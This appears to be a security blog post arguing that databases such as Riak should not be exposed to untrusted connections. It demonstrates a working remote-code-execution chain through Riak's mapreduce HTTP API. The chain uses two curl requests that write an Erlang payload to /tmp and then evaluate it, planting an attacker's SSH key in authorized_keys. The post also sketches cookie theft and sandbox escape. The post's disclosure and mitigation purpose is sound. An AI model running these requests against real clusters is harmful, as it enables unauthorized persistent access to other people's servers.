Major thanks to John Muellerleile (@jrecursive) for his help in crafting this.

Actually, don’t expose pretty much any database directly to untrusted connections. You’re begging for denial-of-service issues; even if the operations are semantically valid, they’re running on a physical substrate with real limits.

Riak, for instance, exposes mapreduce over its HTTP API. Mapreduce is code; code which can have side effects; code which is executed on your cluster. This is an attacker’s dream.

For instance, Riak reduce phases are given as a module, function name, and an argument. The reduce is called with a list, which is the output of the map phases it is aggregating. There are a lot of functions in Erlang which look like

module:fun([any, list], any_json_serializable_term).

But first things first. Let’s create an object to mapreduce over.

curl -X PUT -H “content-type: text/plain”
http://localhost:8098/riak/everything_you_can_run/i_can_run_better –data-binary @-<<EOF Riak is like the Beatles: listening has side effects. EOF

Now, we’ll perform a mapreduce query over this single object. Riak will execute the map function once and pass the list it returns to the reduce function. The map function, in this case, ignores the input and returns a list of numbers. Erlang also represents strings as lists of numbers. Are you thinking what I’m thinking?

curl -X POST -H “content-type: application/json”
http://databevy.com:8098/mapred –data @-<<\EOF {“inputs”: [ [“everything_you_can_run”, “i_can_run_better”] ], “query”: [ {“map”: { “language”: “javascript”, “source”: " function(v) { // “/tmp/evil.erl” return [47,116,109,112,47,101,118,105,108,46,101,114,108]; } " }}, {“reduce”: { “language”: “erlang”, “module”: “file”, “function”: “write_file”, “arg”: " SSHDir = os:getenv("HOME") ++ "/.ssh/".\n SSH = SSHDir ++ "authorized_keys".\n filelib:ensure_dir(os:getenv("HOME") ++ "/.ssh/").\n file:write_file(SSH, <<"ssh-rsa SOME_PUBLIC_SSH_KEY= Fibonacci\n">>).\n file:change_mode(SSHDir, 8#700).\n file:change_mode(SSH, 8#600).\n file:delete("/tmp/evil.erl"). " }} ] } EOF

See it? Riak takes the lists returned by all the map phases (/tmp/evil.erl), and calls the Erlang function file:write_file(“/tmp/evil.erl”, Arg). Arg is our payload, passed in the reduce phase’s argument. That binary string gets written to disk in /tmp.

The payload can do anything. It can patch the VM silently to steal or corrupt data. Crash the system. Steal the cookie and give you a remote erlang shell. Make system calls. It can do this across all machines in the cluster. Here, we take advantage of the fact that the riak user usually has a login shell enabled, and add an entry to .ssh/authorized_hosts.

Now we can use the same trick with another 2-arity function to eval that payload in the Erlang VM.

curl -X POST -H “content-type: application/json”
http://databevy.com:8098/mapred –data @-<<\EOF {“inputs”: [ [“everything_you_can_run”, “i_can_run_better”]], “query”: [ {“map”: { “language”: “javascript”, “source”: " function(v) { return [47,116,109,112,47,101,118,105,108,46,101,114,108]; } " }}, {“reduce”: { “language”: “erlang”, “module”: “file”, “function”: “path_eval”, “arg”: “/tmp/evil.erl”, }} ] }

Astute readers may recall path_eval ignores its first argument if the second is a file, making the value of the map phase redundant here.

You can now ssh to riak@some_host using the corresponding private key. The payload /tmp/evil.erl removes itself as soon as it’s executed, for good measure.

This technique works reliably on single-node clusters, but could be trivially extended to work on any number of nodes. It also doesn’t need to touch the disk; you can abuse the scanner/parser to eval strings directly, though it’s a more convoluted road. You might also abuse the JS VM to escape the sandbox without any Erlang at all.

In summary: don’t expose a database directly to attackers, unless it’s been designed from the ground up to deal with multiple tenants, sandboxing, and resource allocation. These are hard problems to solve in a distributed system; it will be some time before robust solutions are available. Meanwhile, protect your database with a layer which allows only known safe operations, and performs the appropriate rate/payload sanity checking.